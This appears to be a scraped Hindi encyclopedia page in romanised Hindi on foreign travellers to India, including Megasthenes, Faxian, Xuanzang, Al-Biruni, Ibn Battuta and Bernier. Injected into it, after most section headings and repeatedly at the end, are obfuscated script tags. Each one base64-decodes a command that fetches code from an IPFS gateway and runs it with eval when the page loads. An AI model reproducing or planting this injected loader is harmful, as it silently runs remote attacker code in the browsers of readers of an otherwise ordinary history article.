विदेशी यात्री
bharat par prachin samay se hi videshi akraman hote rahe haian. in videshi akramanoan ke karan bharat ki rajaniti aur yahaan ke itihas mean samay-samay par kafi mahattvapoorn parivartan hue haian. bhale hi bharat par yoonaniyoan ka hamala raha ho ya musalamanoan ka ya phir any jatiyoan ka, anekoan videshi yatriyoan ne yahaan ki dharati par apana paanv rakha hai. inamean se adhikaansh yatri akramanakari sena ke sath bharat mean aye. in videshi yatriyoan ke vivaran se bharatiy itihas ki amooly janakari hamean prapt hoti hai.
vibhajan
videshi yatriyoan evan lekhakoan ke vivaran se bharatiy itihas ki jo janakari milati hai, use tin bhagoan mean baanta ja sakata hai-
- yoonani-roman lekhak
- chini lekhak
- arabi lekhak
yoonani lekhakoan ko bhi tin bhagoan mean baanta ja sakata hai-
- sikandar ke poorv ke yoonani lekhak
- sikandar ke samakalin yoonani lekhak
- sikandar ke bad ke lekhak
yoonani lekhak v yatri
tesiyas aur herodotas yoonan aur rom ke prachin lekhakoan mean se haian. tesiyas eerani rajavaidy tha, usane bharat ke vishay mean samast janakari eerani adhikariyoan se prapt ki thi. herodotas, jise itihas ka pita kaha jata hai, ne 5vian shatabdi ee. poo. mean 'historika' namak pustak ki rachana ki thi, jisamean bharat aur faras ke sambandhoan ka varnan kiya gaya hai. 'niyarkas', 'anesikritas' aur 'aristovulas' ye sabhi lekhak sikandar ke samakalin the. in lekhakoan dvara jo bhi vivaran tatkalin bharatiy itihas se ju da hai, vah apane mean pramanik hai. sikandar ke bad ke lekhakoan mean mahattvapoorn tha, megasthanij, jo yoonani raja selyookas ka rajadoot tha. vah chandragupt maury ke darabar mean qarib 14 varshoan tak raha. usane 'indika' namak granth ki rachana ki, jisamean tatkalin maury vanshiy samaj evan sanskriti ka vivaran diya gaya tha. 'daimekas', siriyan naresh 'antiyokas' ka rajadoot tha, jo bindusar ke rajadarabar mean kafi dinoan tak raha. 'dayanisiyas' misr naresh 't aaulmi philadelphas' ke rajadoot ke roop mean kafi dinoan tak samrat ashok ke raj darabar mean raha tha.
maigasthaniz
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
chandragupt maury evan selyukas ke madhy huee sandhi ke aantargat, jahaan selyookas ne anek kshetr 'eriya', 'arakosiya', 'jedroshiya', 'perapanisadaee' adi chandragupt ko pradan kiye, vahian usane maigasthaniz namak yoonani rajadoot bhi maury darabar mean bheja. bharat mean rajadoot niyukt hone se poorv maigasthaniz 'erakroshiya' ke kshatrap 'sibairtios' ke yahaan mahattvapoorn adhikari ke pad par karyarat tha. maigasthaniz ne 'indika' mean bharatiy jivan, paramparaoan, riti-rivajoan ka varnan kiya hai.
- any pustakoan mean 'periplas aauf d erithriyan si‘, lagabhag 150 ee. ke asapas t aaulmi ka bhoogol, plini ka 'nechural historika' (ee. ki pratham sadi) mahattvapoorn hai. 'periplas aauf d erithriyan si' granth, jisaki rachana 80 se 115 ee. ke bich huee hai, mean bharatiy bandaragahoan evan vyaparik vastuoan ka vivaran milata hai. plini ke 'nechural historika' se bharatiy pashu, pe d-paudhoan evan khanij padartho ki janakari milati hai.
chini yatri
chini lekhakoan ke vivaran se bhi bharatiy itihas par prachur prabhav p data hai. sabhi chini lekhak yatri bauddh matanuyayi the, aur ve is dharm ke vishay mean kuchh janakari ke lie hi bharat aye the. chini bauddh yatriyoan mean se pramukh the- phahyan, hvenasaang, itsiang, malvanalin, chaoo-joo-kua adi.
phahyan
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
phahyan ka janm chin ke 'vu-vang' namak sthan par hua tha. yah bauddh dharm ka anuyayi tha. usane lagabhag 399 ee. mean apane kuchh mitroan 'huee-chiang', 'taoancheang', 'huee-miang', 'hueeveee' ke sath bharat yatra prarambh ki. phahyan ki bharat yatra ka udeshy bauddh hastalipiyoan evan bauddh smritiyoan ko khojana tha. isilie fahyan ne unhian sthanoan ke bhraman ko mahattv diya, jo bauddh dharm se sambandhit the.
hvenasaang
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
hvenasaang kannauj ke raja harshavardhan (606-47ee.) ke shasanakal mean bharat aya tha. isane qarib 10 varshoan tak bharat mean bhraman kiya. usane 6 varshoan tak nalanda vishvavidyalay mean adhyayan kiya. usaki bharat yatra ka vrittaant 'si-yoo-ki' namak granth se jana jata hai, jisamean lagabhag 138 deshoan ke yatra vivaran ka zikr milata hai. 'hooli', hvenasaang ka mitr tha, jisane hvenasaang ki jivani likhi. is jivani mean usane tatkalin bharat par bhi prakash dala. chini yatriyoan mean sarvadhik mahatv hvenasaang ka hi hai. use 'prians aauf pilagrims' arthath 'yatriyoan ka rajakumar' kaha jata hai.
itsiang
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
itsiang 613-715 ee. ke samay bharat aya tha. usane nalanda evan vikramashila vishvavidyalay tatha us samay ke bharat par prakash dala hai. 'matvalin' ne harsh ke poorv abhiyan evan 'chaoo-joo-kua' ne chol kalin itihas par prakash dala hai.
arabi yatri
poorv madhyakalin bharat ke samaj aur sanskriti ke vishayoan mean hamean sarvapratham arab vyapariyoan evan lekhakoan se vivaran prapt hota hai. in vyapariyoan aur lekhakoan mean mukhy haian- alaberooni, suleman, farishta aur alamasoodi.
farishta
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
farishta ek prasiddh itihasakar tha, jisane farasi mean itihas likha hai. farishta ka janm faras mean 'kaispiyan sagar' ke tat par 'astrabad' mean hua tha. vah yuvavastha mean apane pita ke sath ahamadabad aya aur vahaan 1589 ee. tak raha. isake bad vah bijapur chala gaya, jahaan usane sultan ibrahim adilashah dvitiy ka sanrakshan prapt kiya tha.
alaberooni
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
alaberooni jo 'aboorihan' nam se bhi jana jata tha, 973 ee. mean khvarijm (khiva) mean paida hua tha. 1017 ee. mean khvarijm ko mahamood gazanavi dvara jite jane par alaberooni ko usane rajy jyotishi ke pad par niyukt kiya. bad mean mahamood ke sath alaberooni bharat aya. isane apani pustak 'tahakik-e-hind' arthat 'kitabul hiand' mean rajapoot kalin samaj, dharm, ritirivaj adi par sundar prakash dala hai.
suleman
9 vi. shatabdi mean bharat ane vale arabi yatri suleman pratihar evan pal shasakoan ke tatkalin arthik, rajanitik evan samajik dasha ka varnan karata hai.
alamasoodi
915-16 ee. mean bharat ki yatra karane vala bagadad ka yah yatri alamasoodi rashtrakoot evan pratihar shasakoan ke vishay mean janakari deta haian.
tabari
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
'tabari' athava 'tabari' (aboo jafar muhammad ibn, jari ut tabari) ek mahanh arab itihasakar aur islam dharm shastri tha. sambhavat: 838-839 ee0 mean tabaristan kshetr ke amul namak sthan par usaka janm hua tha. sanpann parivar mean janm, kushagrabuddhi aur meghavi hone ke karan bachapan se hi vah atyant honahar dikhaee p data tha. kahate haian ki sat varsh ki avastha mean hi sanpoorn quran tabari ko kanthasth ho gaya. apane nagar mean rahakar to tabari ne bahumooly shiksha paee hi, us samay ke islam jagat ke any sabhi prasiddh vidyakeandroan mean bhi vah gaya aur anek prasiddh vidvanoan se vidya grahan ki.
- uparyukt videshi yatriyoan ke vivaran ke atirikt kuchh farasi lekhakoan ke vivaran bhi prapt hote haian, jinase bharatiy itihas ke adhyayan mean kafi sahayata milati hai. isamean mahattvapoorn haian-'firadausi' (940-1020ee.) krit 'shahanama'. 'rashadudvin' krit 'jamiet-al-tavarikh', 'ali ahamad' krit 'chachanama', 'minahaj-ul-siraj' krit 'tabakat-e-nasiri', 'jiyauddin barani' krit 'tarikh-e-firojashahi' evan 'abul fazal' krit 'akabaranama' adi.
yooropiy yatri
| nam | bharat agaman ka varsh |
|---|---|
| fadar eanthoni moanserat | 1578 ee. |
| r aaulf frianch | 1588 - 1599 ee. |
| viliyam h aaukians | 1608 - 1613 ee. |
| viliyam fianch | 1608 ee. |
| jin jurada | - |
| nikolas dautann | 1614 ee. |
| nikolas vithiangatan | - |
| th aaumas koryat | - |
| th aaumas ro | 1616 ee. |
| edavard tairi | - |
| piyetra dela vale | 1622 ee. |
| fraansisko pelasart | - |
| jin baiptist tॅvaraniyar | - |
| fraansis varniyar | 1658 ee. |
yooropiy yatriyoan mean 13 vi shatabdi mean 'venis' (itali) se aye se suprasidv yatri marko polo dvara dakshin ke pandy rajy ke vishay mean janakari milati hai.
any videshi yatri
kuchh any videshi yatriyoan ka vivaran is prakar se hai-
ibn batoota
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ibn batoota ek vidvan afriki yatri tha, jisaka janm 24 faravari 1304 ee. ko uttar aphrika ke morakko pradesh ke prasiddh nagar 'taanjiyar' mean hua tha. ibn batoota ka poora nam tha, 'muhammad bin abdulla ibn batoota'. ibn batoota 1333 ee. mean sultan muhammad tugalaq ke rajyakal mean bharat aya. sultan ne isaka svagat kiya aur use dilli ka pradhan qazi niyukt kar diya.
barniyar
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
barniyar ka poora nam 'freansis barniyar' tha. ye ek fraansisi vidvan d aauktar the, jo satrahavian sadi mean phraans se bharat ae the. us samay bharat par mugaloan ka shasan tha. barniyar ke agaman ke samay mugal badashah shahajahaan apane jivan ke antim charan mean the aur unake charoan putr bhavi badashah hone ke mansoobe baandhane aur usake lie udyog karane mean jute hue the. barniyar ne mugal rajy mean ath varshoan tak naukari ki. us samay ke yuddh ki kee pradhan ghatanaean barniyar ne svayan dekhi thian.
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tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>